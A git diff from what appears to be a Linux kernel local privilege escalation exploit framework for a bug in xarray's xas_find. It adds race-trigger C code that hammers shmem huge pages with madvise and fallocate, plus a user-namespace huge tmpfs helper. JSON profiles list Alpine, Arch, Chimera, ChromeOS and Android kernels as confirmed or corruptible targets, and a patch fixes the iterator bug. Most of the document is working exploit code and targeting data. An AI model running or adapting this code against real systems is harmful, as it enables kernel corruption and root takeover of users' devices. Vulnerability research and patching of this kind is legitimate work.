++ struct iovec iov = { .iov_base = &byte, .iov_len = 1 }; ++ char control[CMSG_SPACE(sizeof(fd))]; ++ struct msghdr msg = { ++ .msg_iov = &iov, ++ .msg_iovlen = 1, ++ .msg_control = control, ++ .msg_controllen = sizeof(control), ++ }; ++ struct cmsghdr *cmsg; ++ ++ memset(control, 0, sizeof(control)); ++ cmsg = CMSG_FIRSTHDR(&msg); ++ cmsg->cmsg_level = SOL_SOCKET; ++ cmsg->cmsg_type = SCM_RIGHTS; ++ cmsg->cmsg_len = CMSG_LEN(sizeof(fd)); ++ memcpy(CMSG_DATA(cmsg), &fd, sizeof(fd)); ++ return sendmsg(sock, &msg, 0) == 1 ? 0 : -1; ++} ++ ++static int receive_directory_fd(int sock) ++{ ++ char byte; ++ struct iovec iov = { .iov_base = &byte, .iov_len = 1 }; ++ char control[CMSG_SPACE(sizeof(int))]; ++ struct msghdr msg = { ++ .msg_iov = &iov, ++ .msg_iovlen = 1, ++ .msg_control = control, ++ .msg_controllen = sizeof(control), ++ }; ++ struct cmsghdr *cmsg; ++ int fd = -1; ++ ++ if (recvmsg(sock, &msg, 0) != 1) ++ return -1; ++ cmsg = CMSG_FIRSTHDR(&msg); ++ if (!cmsg || cmsg->cmsg_level != SOL_SOCKET || ++ cmsg->cmsg_type != SCM_RIGHTS || ++ cmsg->cmsg_len < CMSG_LEN(sizeof(fd))) ++ return -1; ++ memcpy(&fd, CMSG_DATA(cmsg), sizeof(fd)); ++ return fd; ++} ++ ++static void huge_tmpfs_mount_helper(int sock) ++{ ++ char command; ++ char mountpoint[96]; ++ int dirfd; ++ ++ if (unshare(CLONE_NEWUSER) != 0 || write(sock, "R", 1) != 1 || ++ read(sock, &command, 1) != 1 || command != 'G' || ++ unshare(CLONE_NEWNS) != 0) ++ _exit(1); ++ (void)mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL); ++ snprintf(mountpoint, sizeof(mountpoint), "/tmp/xarray-thp-%ld", ++ (long)getpid()); ++ if (mkdir(mountpoint, 0700) != 0 || ++ mount("tmpfs", mountpoint, "tmpfs", MS_NODEV | MS_NOSUID, ++ "size=32m,mode=0700,huge=always") != 0) ++ _exit(1); ++ dirfd = open(mountpoint, O_RDONLY | O_DIRECTORY | O_CLOEXEC); ++ if (dirfd < 0 || send_directory_fd(sock, dirfd) != 0) ++ _exit(1); ++ close(dirfd); ++ while (read(sock, &command, 1) > 0) ++ ; ++ _exit(0); ++} ++ ++static int open_userns_huge_tmpfs(void) ++{ ++ char path[64]; ++ char map[64]; ++ char ready; ++ int sv[2]; ++ int dirfd; ++ pid_t helper; ++ ++ if (socketpair(AF_UNIX, SOCK_SEQPACKET | SOCK_CLOEXEC, 0, sv) != 0) ++ return -1; ++ helper = fork(); ++ if (helper < 0) { ++ close(sv[0]); ++ close(sv[1]); ++ return -1; ++ } ++ if (helper == 0) { ++ close(sv[0]); ++ huge_tmpfs_mount_helper(sv[1]); ++ } ++ close(sv[1]); ++ if (read(sv[0], &ready, 1) != 1 || ready != 'R') ++ goto fail; ++ snprintf(path, sizeof(path), "/proc/%ld/setgroups", (long)helper); ++ if (write_text_file(path, "deny\n") != 0) ++ goto fail; ++ snprintf(path, sizeof(path), "/proc/%ld/uid_map", (long)helper); ++ snprintf(map, sizeof(map), "0 %lu 1\n", (unsigned long)getuid()); ++ if (write_text_file(path, map) != 0) ++ goto fail; ++ snprintf(path, sizeof(path), "/proc/%ld/gid_map", (long)helper); ++ snprintf(map, sizeof(map), "0 %lu 1\n", (unsigned long)getgid()); ++ if (write_text_file(path, map) != 0 || ++ write(sv[0], "G", 1) != 1) ++ goto fail; ++ dirfd = receive_directory_fd(sv[0]); ++ if (dirfd < 0) ++ goto fail; ++ huge_tmpfs_control = sv[0]; ++ huge_tmpfs_helper = helper; ++ return dirfd; ++fail: ++ close(sv[0]); ++ waitpid(helper, NULL, 0); ++ return -1; ++} ++ + + + static void fault_signal(int sig) +@@ -826,10 +967,15 @@ + } + for (i = 0; i < PMD_SIZE; i += PAGE_SIZE) + mapping[i] = (unsigned char)(i / PAGE_SIZE); +- errno = 0; +- rc = madvise(mapping, PMD_SIZE, MADV_COLLAPSE); +- if (rc != 0) +- fprintf(stderr, "MADV_COLLAPSE errno=%d (%s)\n", errno, strerror(errno)); ++ if (RACE_MUTATION_MODE == 4) { ++ rc = 0; ++ } else { ++ errno = 0; ++ rc = madvise(mapping, PMD_SIZE, MADV_COLLAPSE); ++ if (rc != 0) ++ fprintf(stderr, "MADV_COLLAPSE errno=%d (%s)\n", ++ errno, strerror(errno)); ++ } + munmap(reservation, 2 * PMD_SIZE); + return rc; + } +@@ -1529,6 +1675,16 @@ + return 2; + } + } ++ if (RACE_MUTATION_MODE == 4) { ++ huge_tmpfs_dirfd = open_userns_huge_tmpfs(); ++ if (huge_tmpfs_dirfd < 0) { ++ perror("prepare userns huge tmpfs"); ++ return 2; ++ } ++ printf("EARLY_SHMEM_PRODUCER type=userns-tmpfs mount_option=huge=always helper=%ld\n", ++ (long)huge_tmpfs_helper); ++ fflush(stdout); ++ } + + memset(&sa.sa_mask, 0, sizeof(sa.sa_mask)); + sa.sa_flags = SA_NODEFER; +@@ -1724,8 +1880,21 @@ + const uintptr_t race_source_base = source_bases[candidate]; + int mutation_ready = 1; + +- fd = (int)syscall(SYS_memfd_create, "xarray-race", +- MFD_CLOEXEC | MFD_EXEC); ++ if (RACE_MUTATION_MODE == 4) { ++ char name[32]; ++ ++ snprintf(name, sizeof(name), "race-%d", i); ++ fd = openat(huge_tmpfs_dirfd, name, ++ O_CREAT | O_EXCL | O_RDWR | O_CLOEXEC, ++ 0700); ++ if (fd >= 0 && unlinkat(huge_tmpfs_dirfd, name, 0) != 0) { ++ close(fd); ++ fd = -1; ++ } ++ } else { ++ fd = (int)syscall(SYS_memfd_create, "xarray-race", ++ MFD_CLOEXEC | MFD_EXEC); ++ } + if (fd < 0 || + ftruncate(fd, (off_t)((RACE_FILE_BASE_PGOFF + 512UL) * + PAGE_SIZE)) != 0) { +@@ -1796,6 +1965,8 @@ + delay < ((unsigned int)i % DELAY_PERIOD) * DELAY_STEP; + delay++) + __asm__ __volatile__("" ::: "memory"); ++ if (RACE_MUTATION_MODE == 4) ++ usleep(5000); + #if RACE_MEMBARRIER_SHOTS > 0 + for (unsigned int shot = 0; + shot < RACE_MEMBARRIER_SHOTS; shot++) +@@ -2041,6 +2212,15 @@ + fflush(stdout); + return 0; + } ++ if (geteuid() == 0) { ++ if (setgroups(0, NULL) != 0 || ++ setresgid(65534, 65534, 65534) != 0 || ++ setresuid(65534, 65534, 65534) != 0 || ++ prctl(PR_SET_DUMPABLE, 1, 0, 0, 0) != 0) { ++ perror("drop initial privileges"); ++ return 2; ++ } ++ } + + if (env_rounds) + rounds = atoi(env_rounds); diff --git a/dirty-crow-xarray-lpe/framework/patches/0007-xarray-v5.17-resync-non-leaf-offset-before-advancing.patch b/dirty-crow-xarray-lpe/framework/patches/0007-xarray-v5.17-resync-non-leaf-offset-before-advancing.patch new file mode 100644 index 0000000..8f4832e --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/patches/0007-xarray-v5.17-resync-non-leaf-offset-before-advancing.patch @@ -0,0 +1,21 @@ +diff --git a/lib/xarray.c b/lib/xarray.c +--- a/lib/xarray.c ++++ b/lib/xarray.c +@@ -1245,9 +1245,14 @@ void *xas_find(struct xa_state *xas, unsigned long max) + entry = xas_load(xas); + if (entry || xas_not_node(xas->xa_node)) + return entry; +- } else if (!xas->xa_node->shift && +- xas->xa_offset != (xas->xa_index & XA_CHUNK_MASK)) { +- xas->xa_offset = ((xas->xa_index - 1) & XA_CHUNK_MASK) + 1; ++ } else if (xas->xa_offset != ++ get_offset(xas->xa_index, xas->xa_node)) { ++ if (!xas->xa_node->shift) ++ xas->xa_offset = ++ ((xas->xa_index - 1) & XA_CHUNK_MASK) + 1; ++ else ++ xas->xa_offset = ++ get_offset(xas->xa_index, xas->xa_node); + } + + xas_next_offset(xas); diff --git a/dirty-crow-xarray-lpe/framework/probes/backstep_legacy_trigger.c b/dirty-crow-xarray-lpe/framework/probes/backstep_legacy_trigger.c new file mode 100644 index 0000000..a3f4873 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/probes/backstep_legacy_trigger.c @@ -0,0 +1,340 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef MADV_COLLAPSE +#define MADV_COLLAPSE 25 +#endif +#ifndef MFD_CLOEXEC +#define MFD_CLOEXEC 0x0001U +#endif + +#define PAGE_BYTES 4096UL +#define PMD_BYTES (2UL * 1024UL * 1024UL) +#define FAULT_BYTES (16UL * PAGE_BYTES) + +static atomic_int race_state; +static atomic_uintptr_t fault_address; +static int sink_fd = -1; +static const char *backing_dir; + +static void *fault_worker(void *unused) +{ + (void)unused; + for (;;) { + int state; + + while ((state = atomic_load_explicit(&race_state, memory_order_acquire)) == 0) + sched_yield(); + if (state == 2) + return NULL; + while (atomic_load_explicit(&race_state, memory_order_acquire) == 1) { + const void *address = (const void *)atomic_load_explicit( + &fault_address, memory_order_relaxed); + (void)pwrite(sink_fd, address, 1, 0); + (void)madvise((void *)address, FAULT_BYTES, MADV_DONTNEED); + } + } +} + +static int create_memfd(const char *name) +{ + return (int)syscall(SYS_memfd_create, name, MFD_CLOEXEC); +} + +static int create_source_fd(void) +{ + char path[PATH_MAX]; + int fd; + + if (!backing_dir) + return create_memfd("dirty-crow-legacy"); + if (snprintf(path, sizeof(path), "%s/dirty-crow-XXXXXX", + backing_dir) >= (int)sizeof(path)) { + errno = ENAMETOOLONG; + return -1; + } + fd = mkstemp(path); + if (fd >= 0) + (void)unlink(path); + return fd; +} + +static int current_shmem_policy(char *policy, size_t size) +{ + static const char sysfs_path[] = + "/sys/kernel/mm/transparent_hugepage/shmem_enabled"; + char buffer[256]; + char *begin; + char *end; + ssize_t length; + int fd; + + fd = open(sysfs_path, O_RDONLY | O_CLOEXEC); + if (fd < 0) + return -1; + length = read(fd, buffer, sizeof(buffer) - 1); + close(fd); + if (length <= 0) + return -1; + buffer[length] = '\0'; + begin = strchr(buffer, '['); + end = begin ? strchr(begin + 1, ']') : NULL; + if (!begin || !end || end == begin + 1 || + (size_t)(end - begin) >= size) { + errno = EPROTO; + return -1; + } + memcpy(policy, begin + 1, (size_t)(end - begin - 1)); + policy[end - begin - 1] = '\0'; + return 0; +} + +static bool advice_policy_enabled(const char *policy) +{ + return strcmp(policy, "always") == 0 || + strcmp(policy, "within_size") == 0 || + strcmp(policy, "advise") == 0 || + strcmp(policy, "force") == 0; +} + +static unsigned long shmem_pmd_kb(const void *address) +{ + const uintptr_t target = (uintptr_t)address; + char *line = NULL; + size_t capacity = 0; + unsigned long value = 0; + bool in_target = false; + FILE *maps; + + maps = fopen("/proc/self/smaps", "re"); + if (!maps) + return 0; + while (getline(&line, &capacity, maps) >= 0) { + unsigned long begin; + unsigned long end; + + if (sscanf(line, "%lx-%lx", &begin, &end) == 2) { + in_target = target >= begin && target < end; + continue; + } + if (in_target && + sscanf(line, "ShmemPmdMapped: %lu kB", &value) == 1) + break; + } + free(line); + fclose(maps); + return value; +} + +static unsigned long wait_for_shmem_pmd(const void *address, + bool synchronous) +{ + const unsigned int attempts = synchronous ? 1U : 250U; + + for (unsigned int attempt = 0; attempt < attempts; attempt++) { + unsigned long mapped = shmem_pmd_kb(address); + + if (mapped) + return mapped; + if (attempt + 1 < attempts) + usleep(1000); + } + return 0; +} + +static void touch_mapping(unsigned char *mapping) +{ + for (size_t offset = 0; offset < PMD_BYTES; offset += PAGE_BYTES) + mapping[offset] = (unsigned char)(offset >> 12); +} + +static int run_round(void *fault_target, unsigned long round, bool synchronous) +{ + void *huge_reservation = MAP_FAILED; + unsigned char *huge = MAP_FAILED; + uintptr_t huge_aligned; + void *fault = MAP_FAILED; + int fd = -1; + int rc = -1; + + fd = create_source_fd(); + if (fd < 0 || ftruncate(fd, PMD_BYTES) != 0) + goto out; + huge_reservation = mmap(NULL, 2UL * PMD_BYTES, PROT_NONE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (huge_reservation == MAP_FAILED) + goto out; + huge_aligned = ((uintptr_t)huge_reservation + PMD_BYTES - 1) & + ~(PMD_BYTES - 1); + huge = mmap((void *)huge_aligned, PMD_BYTES, PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_FIXED, fd, 0); + if (huge == MAP_FAILED) + goto out; + if (madvise(huge, PMD_BYTES, MADV_HUGEPAGE) != 0) + goto out; + touch_mapping(huge); + if (synchronous && madvise(huge, PMD_BYTES, MADV_COLLAPSE) != 0) + goto out; + { + unsigned long shmem_pmd = wait_for_shmem_pmd(huge, synchronous); + + if (!shmem_pmd) { + errno = EAGAIN; + goto out; + } + if (round == 0) { + printf("TRIGGER_SOURCE_READY shmem_pmd_kb=%lu backing=%s\n", + shmem_pmd, backing_dir ? backing_dir : "memfd"); + fflush(stdout); + } + } + + fault = mmap(fault_target, FAULT_BYTES, PROT_READ, + MAP_SHARED | MAP_FIXED, fd, 256UL * PAGE_BYTES); + if (fault == MAP_FAILED) + goto out; + atomic_store_explicit(&fault_address, (uintptr_t)fault, memory_order_relaxed); + atomic_store_explicit(&race_state, 1, memory_order_release); + for (volatile unsigned long delay = 0; + delay < (round % 100UL) * 10UL; delay++) + ; + if (fallocate(fd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, + 0, PAGE_BYTES) != 0) + goto stop; + rc = 0; +stop: + atomic_store_explicit(&race_state, 0, memory_order_release); +out: + if (fault != MAP_FAILED) + munmap(fault, FAULT_BYTES); + if (huge_reservation != MAP_FAILED) + munmap(huge_reservation, 2UL * PMD_BYTES); + if (fd >= 0) + close(fd); + return rc; +} + +int main(int argc, char **argv) +{ + const char *ack = getenv("DIRTY_CROW_TRIGGER_ACK"); + unsigned long rounds = 50000; + unsigned int workers = 4; + bool synchronous = false; + char shmem_policy[32] = "not_required"; + pthread_t *threads; + void *reservation; + uintptr_t aligned; + int exit_code = 0; + + if (!ack || strcmp(ack, "CRASHABLE_LAB_VM") != 0) { + fprintf(stderr, "refusing destructive race: set DIRTY_CROW_TRIGGER_ACK=CRASHABLE_LAB_VM\n"); + return 2; + } + for (int index = 1; index < argc; index++) { + if (strcmp(argv[index], "--rounds") == 0 && index + 1 < argc) + rounds = strtoul(argv[++index], NULL, 10); + else if (strcmp(argv[index], "--workers") == 0 && index + 1 < argc) + workers = (unsigned int)strtoul(argv[++index], NULL, 10); + else if (strcmp(argv[index], "--trigger") == 0 && index + 1 < argc) { + const char *mode = argv[++index]; + if (strcmp(mode, "collapse") == 0) + synchronous = true; + else if (strcmp(mode, "advice") != 0) { + fprintf(stderr, "trigger must be advice or collapse\n"); + return 2; + } + } else if (strcmp(argv[index], "--backing-dir") == 0 && + index + 1 < argc) { + backing_dir = argv[++index]; + } else { + fprintf(stderr, "usage: %s [--rounds N] [--workers N] [--trigger advice|collapse] [--backing-dir TMPFS]\n", argv[0]); + return 2; + } + } + if (!rounds || !workers || workers > 256 || sysconf(_SC_PAGESIZE) != (long)PAGE_BYTES) { + fprintf(stderr, "invalid rounds/workers or unsupported page size\n"); + return 2; + } + if (!synchronous && !backing_dir) { + if (current_shmem_policy(shmem_policy, + sizeof(shmem_policy)) != 0) { + fprintf(stderr, + "TRIGGER_UNSUPPORTED reason=shmem_policy_unavailable\n"); + return 4; + } + if (!advice_policy_enabled(shmem_policy)) { + fprintf(stderr, + "TRIGGER_UNSUPPORTED reason=shmem_policy policy=%s\n", + shmem_policy); + return 4; + } + } else if (!synchronous && backing_dir) { + (void)snprintf(shmem_policy, sizeof(shmem_policy), + "operator_mount"); + char global_policy[32]; + + if (current_shmem_policy(global_policy, + sizeof(global_policy)) == 0 && + strcmp(global_policy, "deny") == 0) { + fprintf(stderr, + "TRIGGER_UNSUPPORTED reason=global_shmem_deny\n"); + return 4; + } + } + + sink_fd = create_memfd("dirty-crow-sink"); + if (sink_fd < 0) + return 2; + reservation = mmap(NULL, 2UL * PMD_BYTES, PROT_NONE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (reservation == MAP_FAILED) + return 2; + aligned = ((uintptr_t)reservation + PMD_BYTES - 1) & ~(PMD_BYTES - 1); + threads = calloc(workers, sizeof(*threads)); + if (!threads) + return 2; + for (unsigned int worker = 0; worker < workers; worker++) { + if (pthread_create(&threads[worker], NULL, fault_worker, NULL) != 0) + return 2; + } + + printf("TRIGGER_START mode=%s rounds=%lu workers=%u start_pgoff=256 backing=%s shmem_policy=%s\n", + synchronous ? "collapse" : "advice", rounds, workers, + backing_dir ? backing_dir : "memfd", shmem_policy); + fflush(stdout); + for (unsigned long round = 0; round < rounds; round++) { + if (run_round((void *)aligned, round, synchronous) != 0) { + fprintf(stderr, "TRIGGER_STAGE_FAILED round=%lu errno=%d (%s)\n", + round, errno, strerror(errno)); + exit_code = 3; + break; + } + if (round % 1000UL == 0) { + printf("TRIGGER_PROGRESS round=%lu\n", round); + fflush(stdout); + } + } + atomic_store_explicit(&race_state, 2, memory_order_release); + for (unsigned int worker = 0; worker < workers; worker++) + pthread_join(threads[worker], NULL); + free(threads); + munmap(reservation, 2UL * PMD_BYTES); + close(sink_fd); + printf("TRIGGER_COMPLETE result=no_runtime_primitive_claim\n"); + return exit_code; +} diff --git a/dirty-crow-xarray-lpe/framework/profiles/alpine-6.18.48-x86_64-4k.json b/dirty-crow-xarray-lpe/framework/profiles/alpine-6.18.48-x86_64-4k.json new file mode 100644 index 0000000..8134681 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/profiles/alpine-6.18.48-x86_64-4k.json @@ -0,0 +1,45 @@ +{ + "schema_version": 1, + "id": "alpine-6.18.48-x86_64-4k", + "classification": "runtime_confirmed", + "target": { + "distribution": "Alpine Linux", + "release": "3.24.1 standard/base", + "kernel_release": "6.18.48-0-lts", + "architecture": "x86_64", + "page_size": 4096, + "endianness": "little" + }, + "provenance": { + "scope": "exact_package", + "source_url": "https://pkgs.alpinelinux.org/package/v3.24/main/x86_64/linux-lts", + "source_ref": "linux-lts-6.18.48-r0" + }, + "compatibility": { + "source_facts": [ + "filemap_unsigned_pte_delta", + "shmem_multi_index_store", + "vulnerable_xas_find_branch" + ], + "capabilities": [ + "madv_collapse", + "proof_contract_v1" + ], + "action": "backstep-proof", + "backend": "auto", + "backend_expected": true + }, + "evidence": [ + { + "kind": "runtime_evidence", + "path": "../baseline/xarray-lpe-evidence-index.json", + "sha256": "008fcbdb4b6feca87c38b9a356be4d0aa26391dc021797da98777f8c06ca4408" + }, + { + "kind": "evidence_verification", + "path": "../baseline/xarray-lpe-final-verification.json", + "sha256": "85e645a6e90811d8d019d686e059655942f3c1d66053afd40baaf86901cff0e3" + } + ], + "unsupported_reasons": [] +} diff --git a/dirty-crow-xarray-lpe/framework/profiles/amazon-linux-2023-x86_64-4k.json b/dirty-crow-xarray-lpe/framework/profiles/amazon-linux-2023-x86_64-4k.json new file mode 100644 index 0000000..6f23c66 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/profiles/amazon-linux-2023-x86_64-4k.json @@ -0,0 +1,30 @@ +{ + "schema_version": 1, + "id": "amazon-linux-2023-x86_64-4k", + "classification": "unsupported", + "target": { + "distribution": "Amazon Linux", + "release": "2023 current default", + "kernel_release": "unresolved-current-default", + "architecture": "x86_64", + "page_size": 4096, + "endianness": "little" + }, + "provenance": { + "scope": "exact_vendor_tree", + "source_url": "https://github.com/amazonlinux/amazon-linux-2023", + "source_ref": "kernel-6.1" + }, + "compatibility": { + "source_facts": [], + "capabilities": [], + "action": "backstep-proof", + "backend": "auto", + "backend_expected": false + }, + "evidence": [], + "unsupported_reasons": [ + "The current default package NEVRA and exact package-member kernel were not acquired.", + "No clean-boot runtime proof exists for this row." + ] +} diff --git a/dirty-crow-xarray-lpe/framework/profiles/android-emulator-api34-r13-6.1.23-x86_64-4k.json b/dirty-crow-xarray-lpe/framework/profiles/android-emulator-api34-r13-6.1.23-x86_64-4k.json new file mode 100644 index 0000000..512908b --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/profiles/android-emulator-api34-r13-6.1.23-x86_64-4k.json @@ -0,0 +1,70 @@ +{ + "schema_version": 1, + "id": "android-emulator-api34-r13-6.1.23-x86_64-4k", + "classification": "runtime_kernel_corruption", + "target": { + "distribution": "Android Emulator", + "release": "Google APIs API 34 revision 13", + "kernel_release": "6.1.23-android14-4-00257-g7e35917775b8-ab9964412", + "architecture": "x86_64", + "page_size": 4096, + "endianness": "little" + }, + "provenance": { + "scope": "exact_package", + "source_url": "https://dl.google.com/android/repository/sys-img/google_apis/x86_64-34_r13.zip", + "source_ref": "system-images;android-34;google_apis;x86_64 revision 13; kernel common 7e35917775b8" + }, + "compatibility": { + "source_facts": [ + "filemap_unsigned_pte_delta", + "shmem_multi_index_store", + "vulnerable_xas_find_branch" + ], + "capabilities": [ + "madv_collapse", + "proof_contract_v1" + ], + "action": "backstep-proof", + "backend": "auto", + "backend_expected": true + }, + "evidence": [ + { + "kind": "runtime_evidence", + "path": "../evidence/android-api34-6.1.23-untrusted-app-kernel-corruption-verification.json", + "sha256": "a687c4a0ddb0ac00018cea59f19f8fed5b8ea6db816c61f1dc247d0d8601b070" + }, + { + "kind": "runtime_evidence", + "path": "../evidence/android-api34-6.1.23-untrusted-app-verification.json", + "sha256": "8bc060bdac0390afa0b0c68516764e1f9555b9b6c3ffb237ed7015e1b01fd0f7" + }, + { + "kind": "kernel_image", + "path": "../baseline/android-api34-r13/kernel-ranchu", + "sha256": "b1e5cd842220175a4c07be9a2bcf5beb7b336794b00cf9b7b53abf35557b24df" + }, + { + "kind": "runtime_log", + "path": "../evidence/android-api34-6.1.23-untrusted-app-v17-20000.log", + "sha256": "7658b5a2b331be368a93001a644c95dc21621e6fbb13252990eb88236b40a6b3" + }, + { + "kind": "runtime_log", + "path": "../evidence/android-api34-6.1.23-untrusted-app-v17-100k-incomplete.log", + "sha256": "ca0d19dcd2b6065e6e376e7ed3662e9d6b770f9890efc9c633c4d6268d292ffe" + }, + { + "kind": "probe_source", + "path": "../reproducer/filemap_xarray_android_api34_v17.c", + "sha256": "640103a7b82bbd951fc0c80e2f08a200349d8ffae6255f37b35e00e4a2771095" + }, + { + "kind": "probe_apk", + "path": "../artifacts/dirty-crow-android-api34-x86_64-v17-100k.apk", + "sha256": "8de69dcdbd25132d2efbbc8bbb059199ed61efa790fb276a38fe9c4b757e744f" + } + ], + "unsupported_reasons": [] +} diff --git a/dirty-crow-xarray-lpe/framework/profiles/android-gki-android16-6.12-aarch64-4k.json b/dirty-crow-xarray-lpe/framework/profiles/android-gki-android16-6.12-aarch64-4k.json new file mode 100644 index 0000000..eb02f22 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/profiles/android-gki-android16-6.12-aarch64-4k.json @@ -0,0 +1,30 @@ +{ + "schema_version": 1, + "id": "android-gki-android16-6.12-aarch64-4k", + "classification": "unsupported", + "target": { + "distribution": "Android GKI", + "release": "android16-6.12", + "kernel_release": "android16-6.12", + "architecture": "aarch64", + "page_size": 4096, + "endianness": "little" + }, + "provenance": { + "scope": "upstream_ref", + "source_url": "https://android.googlesource.com/kernel/common", + "source_ref": "android16-6.12" + }, + "compatibility": { + "source_facts": [], + "capabilities": [], + "action": "backstep-proof", + "backend": "auto", + "backend_expected": false + }, + "evidence": [], + "unsupported_reasons": [ + "No Android GKI image and userspace pairing was acquired.", + "No aarch64 4 KiB runtime exploit backend or clean-boot proof exists." + ] +} diff --git a/dirty-crow-xarray-lpe/framework/profiles/arch-7.1.11-x86_64-4k.json b/dirty-crow-xarray-lpe/framework/profiles/arch-7.1.11-x86_64-4k.json new file mode 100644 index 0000000..4b19bb4 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/profiles/arch-7.1.11-x86_64-4k.json @@ -0,0 +1,45 @@ +{ + "schema_version": 1, + "id": "arch-7.1.11-x86_64-4k", + "classification": "runtime_confirmed", + "target": { + "distribution": "Arch Linux", + "release": "2026.08.01 base", + "kernel_release": "7.1.11-arch1-1", + "architecture": "x86_64", + "page_size": 4096, + "endianness": "little" + }, + "provenance": { + "scope": "exact_package", + "source_url": "https://archlinux.org/packages/core/x86_64/linux/", + "source_ref": "linux-7.1.11.arch1-1-x86_64" + }, + "compatibility": { + "source_facts": [ + "filemap_unsigned_pte_delta", + "shmem_multi_index_store", + "vulnerable_xas_find_branch" + ], + "capabilities": [ + "madv_collapse", + "proof_contract_v1" + ], + "action": "backstep-proof", + "backend": "auto", + "backend_expected": true + }, + "evidence": [ + { + "kind": "runtime_evidence", + "path": "../baseline/xarray-lpe-evidence-index.json", + "sha256": "008fcbdb4b6feca87c38b9a356be4d0aa26391dc021797da98777f8c06ca4408" + }, + { + "kind": "evidence_verification", + "path": "../baseline/xarray-lpe-final-verification.json", + "sha256": "85e645a6e90811d8d019d686e059655942f3c1d66053afd40baaf86901cff0e3" + } + ], + "unsupported_reasons": [] +} diff --git a/dirty-crow-xarray-lpe/framework/profiles/chimera-7.2.2-x86_64-4k.json b/dirty-crow-xarray-lpe/framework/profiles/chimera-7.2.2-x86_64-4k.json new file mode 100644 index 0000000..f160519 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/profiles/chimera-7.2.2-x86_64-4k.json @@ -0,0 +1,40 @@ +{ + "schema_version": 1, + "id": "chimera-7.2.2-x86_64-4k", + "classification": "runtime_confirmed", + "target": { + "distribution": "Chimera Linux", + "release": "rolling linux-stable 7.2.2-r0", + "kernel_release": "7.2.2-0-generic", + "architecture": "x86_64", + "page_size": 4096, + "endianness": "little" + }, + "provenance": { + "scope": "exact_package", + "source_url": "https://repo.chimera-linux.org/current/main/x86_64/", + "source_ref": "linux-stable-7.2.2-r0" + }, + "compatibility": { + "source_facts": [ + "filemap_unsigned_pte_delta", + "shmem_multi_index_store", + "vulnerable_xas_find_branch" + ], + "capabilities": [ + "madv_collapse", + "proof_contract_v1" + ], + "action": "backstep-proof", + "backend": "auto", + "backend_expected": true + }, + "evidence": [ + { + "kind": "runtime_evidence", + "path": "../baseline/chimera-7.2.2-lpe-evidence.json", + "sha256": "319229c4eeb5febbe67cf03dcc36b86bbaa1ced306604a182bc2114bd0090e9b" + } + ], + "unsupported_reasons": [] +} diff --git a/dirty-crow-xarray-lpe/framework/profiles/chromeos-r151-dedede-x86_64-4k-qemu.json b/dirty-crow-xarray-lpe/framework/profiles/chromeos-r151-dedede-x86_64-4k-qemu.json new file mode 100644 index 0000000..a89e6a7 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/profiles/chromeos-r151-dedede-x86_64-4k-qemu.json @@ -0,0 +1,40 @@ +{ + "schema_version": 1, + "id": "chromeos-r151-dedede-x86_64-4k-qemu", + "classification": "runtime_confirmed", + "target": { + "distribution": "ChromeOS", + "release": "R151-16733.57.0 dedede recovery kernel under QEMU", + "kernel_release": "6.1.169-17642-gf78e1656ab99", + "architecture": "x86_64", + "page_size": 4096, + "endianness": "little" + }, + "provenance": { + "scope": "exact_package", + "source_url": "https://dl.google.com/dl/edgedl/chromeos/recovery/recovery.conf", + "source_ref": "R151-16733.57.0 dedede recovery image sha256:fa3ec560e23e232edbe2b0e958ca51c205db1c8ffbc4412a5cb1e649b9d8ec7b" + }, + "compatibility": { + "source_facts": [ + "filemap_unsigned_pte_delta", + "shmem_multi_index_store", + "vulnerable_xas_find_branch" + ], + "capabilities": [ + "madv_collapse", + "proof_contract_v1" + ], + "action": "backstep-proof", + "backend": "auto", + "backend_expected": true + }, + "evidence": [ + { + "kind": "runtime_evidence", + "path": "../baseline/chromeos/chromeos-r151-qemu-validation-20260904.json", + "sha256": "b44b3d41311906134bf03095cf38a314ec441c9a4ba6a048d0b787d0edcaa39b" + } + ], + "unsupported_reasons": [] +} diff --git a/dirty-crow-xarray-lpe/framework/profiles/claims.json b/dirty-crow-xarray-lpe/framework/profiles/claims.json new file mode 100644 index 0000000..09c06df --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/profiles/claims.json @@ -0,0 +1,307 @@ +{ + "schema_version": 1, + "title": "Dirty Crow current claim catalog", + "snapshot_id": "dirty-crow-claims-2026-09-05-r6", + "as_of": "2026-09-05", + "current": true, + "supersedes": [ + "baseline/xarray-lpe-evidence-index.json@2026-08-30", + "profiles/findings.json@2026-08-30", + "profiles/claims.json@dirty-crow-claims-2026-09-05", + "profiles/claims.json@dirty-crow-claims-2026-09-05-r2", + "profiles/claims.json@dirty-crow-claims-2026-09-05-r3", + "profiles/claims.json@dirty-crow-claims-2026-09-05-r4", + "profiles/claims.json@dirty-crow-claims-2026-09-05-r5" + ], + "claims": [ + { + "claim_id": "DC-PRIMITIVE-420", + "statement": "The stale non-leaf xas_find iterator defect is present and deterministically reproducible in upstream Linux v4.20.", + "scope": "Upstream v4.20 commit 8fe28cb58bcb235034b64cbbb7550a8a43fd88be; exact-source userspace selftest and CONFIG_XARRAY_MULTI=y x86_64 QEMU kernel regression.", + "evidence_class": "deterministic_selftest", + "snapshot_id": "dirty-crow-claims-2026-09-05-r6", + "artifacts": [ + { + "reference": "profiles/early-kernel-v4.20.json", + "sha256": "1f1d19f2272dd84d69d0d4f4a0ffac919cde3c8dc4d9a612e2ba4e0beca422b5", + "availability": "archived", + "note": "Source hashes, exact commands, fail-before result, pass-after result, and interpretation." + }, + { + "reference": "patches/0003-xarray-v4.20-test-split-resume-after-multi-index-replacement.patch", + "sha256": "ce9f4278040a5cacc822406746c92790f5107533cc3e7d9828c4a75d58662b6b", + "availability": "archived", + "note": "Linux v4.20-compatible deterministic regression test." + }, + { + "reference": 